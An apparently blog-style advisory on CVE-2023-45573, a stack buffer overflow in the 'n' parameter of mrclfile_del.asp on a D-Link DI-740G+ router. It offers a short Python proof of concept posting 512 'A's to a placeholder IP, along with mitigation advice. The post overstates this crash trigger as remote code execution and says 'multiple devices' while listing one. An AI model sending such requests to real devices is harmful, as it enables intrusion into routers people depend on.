CVE-2023-45573: Buffer Overflow Vulnerability in Multiple D-Link Devices Allowing Remote Code Execution

CVE-2023-45573 is a critical buffer overflow vulnerability discovered in various D-Link devices that enables a remote attacker to execute arbitrary code. This vulnerability affects the following D-Link devices and versions:

DI-740G+V2.D1 v.23.08.23D1 and before

The vulnerability is caused by insufficient validation of user-supplied input and affects the n parameter of the mrclfile_del.asp function, which leads to a stack-based buffer overflow. In this post, we will provide technical details about the vulnerability, explain how it can be exploited, and discuss mitigation steps to protect your devices.

Exploit Details

The buffer overflow vulnerability can be exploited by sending a crafted HTTP POST request to the affected D-Link device, targeting the mrclfile_del.asp function with a specially crafted n parameter. The following code snippet is an example of the vulnerability being exploited:

import requests

target = "http://<target_ip>/mrclfile_del.asp";
data = {
    "n": "A" * 512
}

r = requests.post(target, data=data)

In this sample script, a malicious user sends a request to a vulnerable device with a 512-byte long n parameter, which is significantly larger than the expected size. This causes a buffer overflow, and enables a remote attacker to execute arbitrary code on the affected device.

More information about the CVE-2023-45573 vulnerability can be found in the following resources

1. Official CVE Record
2. National Vulnerability Database (NVD) Entry

Mitigation Steps

D-Link has not released any patches for this vulnerability as of now. However, users can take the following steps to minimize the risk of exploitation until a patch is available:

1. Restrict access to the admin interface of the affected devices. Implement network access control to ensure that only authorized devices or IP addresses can reach the admin interface.
2. Regularly monitor logs for suspicious activity. If you notice multiple failed login attempts or other anomalous behavior, take immediate action to limit potential damage.
3. Segregate your network. Separate IoT devices on a guest network and restrict their access to critical resources and sensitive data.

Conclusion

CVE-2023-45573 is a critical buffer overflow vulnerability affecting multiple D-Link devices that allows remote attackers to execute arbitrary code. The vulnerability arises from improper input validation and affects the n parameter of the mrclfile_del.asp function. Until D-Link releases a patch, users should follow the recommended mitigation steps to safeguard their devices from potential exploitation.

Timeline

Published on: 10/16/2023 06:15:12 UTC
Last modified on: 11/03/2023 19:04:46 UTC